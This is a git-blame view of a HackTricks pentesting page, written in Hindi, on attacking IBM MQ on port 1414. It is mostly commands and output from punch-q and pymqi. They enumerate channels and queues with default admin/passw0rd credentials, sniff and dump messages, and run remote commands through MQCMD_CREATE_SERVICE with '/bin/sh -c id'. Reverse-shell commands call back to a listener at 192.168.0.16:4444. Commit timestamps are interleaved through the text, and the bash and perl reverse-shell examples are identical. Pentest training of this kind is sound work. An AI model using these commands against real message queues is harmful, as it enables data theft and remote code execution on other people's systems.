hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

344 lines
27 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# 1414 - IBM MQ का पेंटेस्टिंग
2023-10-11 23:08:45 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके अपना योगदान दें**.
2023-10-11 23:08:45 +00:00
</details>
2023-11-06 08:38:02 +00:00
## मूलभूत जानकारी
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
IBM MQ एक IBM प्रौद्योगिकी है जो संदेश कतारों का प्रबंधन करने के लिए है। अन्य **संदेश ब्रोकर** प्रौद्योगिकियों की तरह, यह उत्पादकों और उपभोक्ताओं के बीच सूचना प्राप्त, संग्रहीत, प्रसंस्कृत और वर्गीकरण करने के लिए समर्पित है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
डिफ़ॉल्ट रूप से, **यह IBM MQ TCP पोर्ट 1414 को उजागर करता है**
कभी-कभी, HTTP REST API पोर्ट **9443** पर उजागर हो सकता है।
मीट्रिक्स (Prometheus) भी TCP पोर्ट **9157** से पहुंची जा सकती है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
IBM MQ TCP पोर्ट 1414 का उपयोग संदेश, कतार, चैनल, ... को नियंत्रित करने के लिए ही नहीं किया जा सकता है, बल्कि **इंस्टेंस को नियंत्रित करने के लिए भी** किया जा सकता है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
IBM द्वारा [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) पर एक बड़ी तकनीकी प्रलेखन उपलब्ध है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
## उपकरण
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
सुझाए गए उपकरण के लिए आसान शोध के लिए **[punch-q](https://github.com/sensepost/punch-q)** का उपयोग करें, डॉकर का उपयोग करें। यह उपकरण सक्रिय रूप से Python पुस्तकालय `pymqi` का उपयोग करता है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
एक अधिक मैन्युअल दृष्टिकोण के लिए, Python पुस्तकालय **[pymqi](https://github.com/dsuch/pymqi)** का उपयोग करें। [IBM MQ आवश्यकताएं](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) की आवश्यकता होती है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
### pymqi का स्थापना करना
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
**IBM MQ आवश्यकताएं** को स्थापित और लोड किया जाना चाहिए:
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
1. [https://login.ibm.com/](https://login.ibm.com/) पर एक खाता (IBMid) बनाएं।
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) से IBM MQ पुस्तकालय डाउनलोड करें। लिनक्स x86_64 के लिए यह **9.0.0.4-IBM-MQC-LinuxX64.tar.gz** है।
3. डीकंप्रेस करें (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)।
4. लाइसेंस की शर्तों को स्वीकार करने के लिए `sudo ./mqlicense.sh` चलाएं।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
>यदि आप Kali Linux के तहत हैं, तो `mqlicense.sh` फ़ाइल में बदलाव करें: निम्नलिखित पंक्तियों को हटाएं/टिप्पणी करें (105-110 लाइनों के बीच):
2023-10-11 23:08:45 +00:00
>
>```bash
2023-11-06 08:38:02 +00:00
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
2023-10-11 23:08:45 +00:00
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
2023-11-06 08:38:02 +00:00
5. इन पैकेजों को स्थापित करें:
2023-10-11 23:08:45 +00:00
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
2023-11-06 08:38:02 +00:00
6. फिर, LD में `.so` फ़ाइलों को अस्थायी रूप से जोड़ें: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **पहले** इन आवश्यकताओं का उपयोग करने वाले अन्य उपकरणों को चलाने से पहले।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
फिर, आप प्रोजेक्ट [**pymqi**](https://github.com/dsuch/pymqi) क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... होते हैं। या आप सीधे पुस्तकालय को इंस्टॉल कर सकते हैं: `pip install pymqi`.
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
### punch-q का उपयोग करें
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
#### डॉकर के साथ
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
बस इस्तेमाल करें: `sudo docker run --rm -ti leonjza/punch-q`.
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
#### डॉकर के बिना
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
प्रोजेक्ट [**punch-q**](https://github.com/sensepost/punch-q) क्लोन करें और इंस्टॉलेशन के लिए readme का पालन करें (`pip install -r requirements.txt && python3 setup.py install`).
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
इसके बाद, `punch-q` कमांड के साथ इस्तेमाल किया जा सकता है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
## गणना
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
आप **punch-q** या **pymqi** के साथ **कतार प्रबंधक का नाम, उपयोगकर्ता, चैनल और कतारें** गणना करने की कोशिश कर सकते हैं।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
### कतार प्रबंधक
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
कभी-कभी, कतार प्रबंधक के नाम को प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
2023-11-06 08:38:02 +00:00
### चैनल
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
**punch-q** एक आंतरिक (संशोधन योग्य) वर्डलिस्ट का उपयोग करके मौजूदा चैनल्स को खोजने के लिए उपयोग होता है। उपयोग का उदाहरण:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
2023-11-06 08:38:02 +00:00
ऐसा होता है कि कुछ IBM MQ इंस्टेंस अनुपयोगी MQ अनुरोधों को स्वीकार करते हैं, इसलिए `--username / --password` की आवश्यकता नहीं होती है। बेशक, पहुंच अधिकार भी भिन्न हो सकते हैं।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
जैसे ही हमें एक चैनल नाम मिलता है (यहां: `DEV.ADMIN.SVRCONN`), हम सभी अन्य चैनलों की गणना कर सकते हैं।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
गणना मूल रूप से इस कोड स्निपेट `code/examples/dis_channels.py` के साथ **pymqi** से की जा सकती है:
2023-10-11 23:08:45 +00:00
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2023-11-06 08:38:02 +00:00
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
2023-10-11 23:08:45 +00:00
except pymqi.MQMIError as e:
2023-11-06 08:38:02 +00:00
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
2023-10-11 23:08:45 +00:00
else:
2023-11-06 08:38:02 +00:00
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
2023-10-11 23:08:45 +00:00
qmgr.disconnect()
```
2023-11-06 08:38:02 +00:00
... लेकिन **punch-q** भी उस हिस्से को सम्मिलित करता है (अधिक जानकारी के साथ!).
इसे इस तरीके से लॉन्च किया जा सकता है:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
2023-11-06 08:38:02 +00:00
### कतारें
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
**pymqi** (`dis_queues.py`) के साथ एक कोड स्निपेट है, लेकिन **punch-q** को कतारों के बारे में अधिक जानकारी प्राप्त करने की अनुमति है:
2023-10-11 23:08:45 +00:00
```bash
2023-11-06 08:38:02 +00:00
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
2023-10-11 23:08:45 +00:00
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
2023-11-06 08:38:02 +00:00
## अक्षम करें
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
### संदेश डंप करें
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
आप विशेषता(ओं) को लक्षित कर संदेशों को खोजने / डंप करने के लिए उपयोग कर सकते हैं (अविनाशी आपरेशन). *उदाहरण:*
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
2023-11-06 08:38:02 +00:00
**सभी पहचानी गई कतारों पर दोहराने में हिचकिचाहट न करें।**
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
### कोड निष्पादन
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
> जारी रखने से पहले कुछ विवरण: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ [IBM MQ दस्तावेज़ीकरण](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) में मिल सकती हैं।
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***प्रोग्रामयोग्य कमांड प्रारूप***) उस पर ध्यान केंद्रित है जिसके माध्यम से हम इंस्टेंस के साथ दूरस्थता से इंटरैक्ट करते हैं। **punch-q** और इसके अतिरिक्त **pymqi** PCF इंटरैक्शन पर आधारित हैं।
2023-10-11 23:08:45 +00:00
>
2023-11-06 08:38:02 +00:00
> आप PCF कमांडों की सूची पा सकते हैं:
> * [PCF दस्तावेज़ीकरण से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), और
> * [स्थिरांकों से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)।
>
> एक दिलचस्प कमांड `MQCMD_CREATE_SERVICE` है और इसकी दस्तावेज़ीकरण [यहां](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) उपलब्ध है। इसे एक `StartCommand` के रूप में एर्ग्यूमेंट लेता है जो इंस्टेंस पर स्थानीय कार्यक्रम की ओर पहुंच करता है (उदाहरण: `/bin/sh`)।
>
> दस्तावेज़ों में इस कमांड की एक चेतावनी भी है: *"ध्यान दें: यह कमांड एक उपयोगकर्ता को mqm अधिकार के साथ एक अनियमित कमांड चलाने की अनुमति देता है। इस कमांड का उपयोग करने के लिए अधिकार प्रदान किए जाने पर, एक दुष्ट या लापरवाह उपयोगकर्ता आपके सिस्टम या डेटा को क्षति पहुंचा सकता है, उदाहरण के लिए, महत्वपूर्ण फ़ाइलें हटा कर।"*
>
> *नोट: हमेशा IBM MQ दस्तावेज़ीकरण (प्रशासन संदर्भ) के अनुसार, सेवा निर्माण (`DEFINE SERVICE`) के लिए समकक्ष MQSC कमांड चलाने के लिए `/admin/action/qmgr/{qmgrName}/mqsc` पर एक HTTP एंडपॉइंट भी है। यह पहले यहां शामिल नहीं है।*
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
दूरस्थ कार्यक्रम निष्पादन के लिए PCF के साथ सेवा निर्माण / हटाना **punch-q** द्वारा किया जा सकता है:
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
**उदाहरण 1**
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
2023-11-06 08:38:02 +00:00
> IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक चलाया गया है:
>
2023-10-11 23:08:45 +00:00
> ```bash
2023-11-06 08:38:02 +00:00
> 2023-10-10T19:13:01.713Z AMQ5030I: कमांड '808544aa7fc94c48' शुरू हो गया है। ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
2023-10-11 23:08:45 +00:00
> ```
2023-11-06 08:38:02 +00:00
आप मशीन पर मौजूदा प्रोग्रामों की गणना भी कर सकते हैं (यहां `/bin/doesnotexist` ... मौजूद नहीं है):
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
2023-10-11 23:08:45 +00:00
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
2023-11-06 08:38:02 +00:00
**ध्यान दें कि कार्यक्रम लॉन्च असिंक्रोन होता है। इसलिए आपको एक दूसरे आइटम की आवश्यकता होती है ताकि आप एक्सप्लॉइट का लाभ उठा सकें** ***(रिवर्स शेल के लिए सुनने वाला, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकालना...)***
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
**उदाहरण 2**
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
आसान रिवर्स शेल के लिए, **punch-q** दो रिवर्स शेल पेलोड भी प्रस्तावित करता है:
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
* एक बैश के साथ
* एक पर्ल के साथ
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
*बेशक आप `execute` कमांड के साथ एक कस्टम पेलोड बना सकते हैं।*
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
बैश के लिए:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2023-11-06 08:38:02 +00:00
इसके लिए perl:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2023-11-06 08:38:02 +00:00
### कस्टम PCF
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
आप IBM MQ दस्तावेज़ीकरण में खोज कर सीधे **pymqi** पायथन पुस्तकालय का उपयोग कर सकते हैं विशेष PCF कमांड का परीक्षण करने के लिए जो **punch-q** में अमल में नहीं आया है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
**उदाहरण:**
2023-10-11 23:08:45 +00:00
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2023-11-06 08:38:02 +00:00
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
2023-10-11 23:08:45 +00:00
except pymqi.MQMIError as e:
2023-11-06 08:38:02 +00:00
print("Error")
2023-10-11 23:08:45 +00:00
else:
2023-11-06 08:38:02 +00:00
# Process response
2023-10-11 23:08:45 +00:00
qmgr.disconnect()
```
2023-11-06 08:38:02 +00:00
यदि आप स्थिर नामों को नहीं ढूंढ पा रहे हैं, तो आप [IBM MQ दस्तावेज़ीकरण](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) का संदर्भ ले सकते हैं।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
> *उदाहरण के लिए [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (दशमलव = 73)। इसे `MQCA_CLUSTER_NAME` (दशमलव = 2029) पैरामीटर की आवश्यकता होती है जो `*` हो सकता है (दस्तावेज़ीकरण: ):*
>
2023-10-11 23:08:45 +00:00
> ```python
> import pymqi
2023-11-06 08:38:02 +00:00
>
2023-10-11 23:08:45 +00:00
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
2023-11-06 08:38:02 +00:00
>
2023-10-11 23:08:45 +00:00
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
2023-11-06 08:38:02 +00:00
>
2023-10-11 23:08:45 +00:00
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
2023-11-06 08:38:02 +00:00
> print("त्रुटि")
2023-10-11 23:08:45 +00:00
> else:
> print(response)
2023-11-06 08:38:02 +00:00
>
2023-10-11 23:08:45 +00:00
> qmgr.disconnect()
> ```
2023-11-06 08:38:02 +00:00
## परीक्षण पर्यावरण
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
यदि आप IBM MQ का व्यवहार और उत्पीड़न का परीक्षण करना चाहते हैं, तो आप डॉकर पर आधारित स्थानीय पर्यावरण सेटअप कर सकते हैं:
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
1. ibm.com और cloud.ibm.com पर खाता होना।
2. निम्नलिखित के साथ एक कंटेनरीकृत IBM MQ बनाएँ:
2023-10-11 23:08:45 +00:00
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
2023-11-06 08:38:02 +00:00
डिफ़ॉल्ट रूप से, प्रमाणीकरण सक्षम होता है, उपयोगकर्ता नाम `admin` है और पासवर्ड `passw0rd` है (पर्यावरण चर `MQ_ADMIN_PASSWORD`).
यहां, क्यू मैनेजर नाम `MYQUEUEMGR` (चर `MQ_QMGR_NAME`) पर सेट किया गया है।
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
आपको IBM MQ को चालू और इसके पोर्ट उजागर करने की आवश्यकता होगी:
2023-10-11 23:08:45 +00:00
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
2023-11-06 08:38:02 +00:00
> IBM MQ डॉकर इमेज की पुरानी संस्करण यहाँ मिलेंगे: https://hub.docker.com/r/ibmcom/mq/.
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
## संदर्भ
2023-10-11 23:08:45 +00:00
2023-11-06 08:38:02 +00:00
* [mgeeky की gist - "प्रैक्टिकल IBM MQ पेनेट्रेशन टेस्टिंग नोट्स"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
2023-10-11 23:08:45 +00:00
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
2023-11-06 08:38:02 +00:00
* [IBM MQ दस्तावेज़ीकरण](https://www.ibm.com/docs/en/ibm-mq)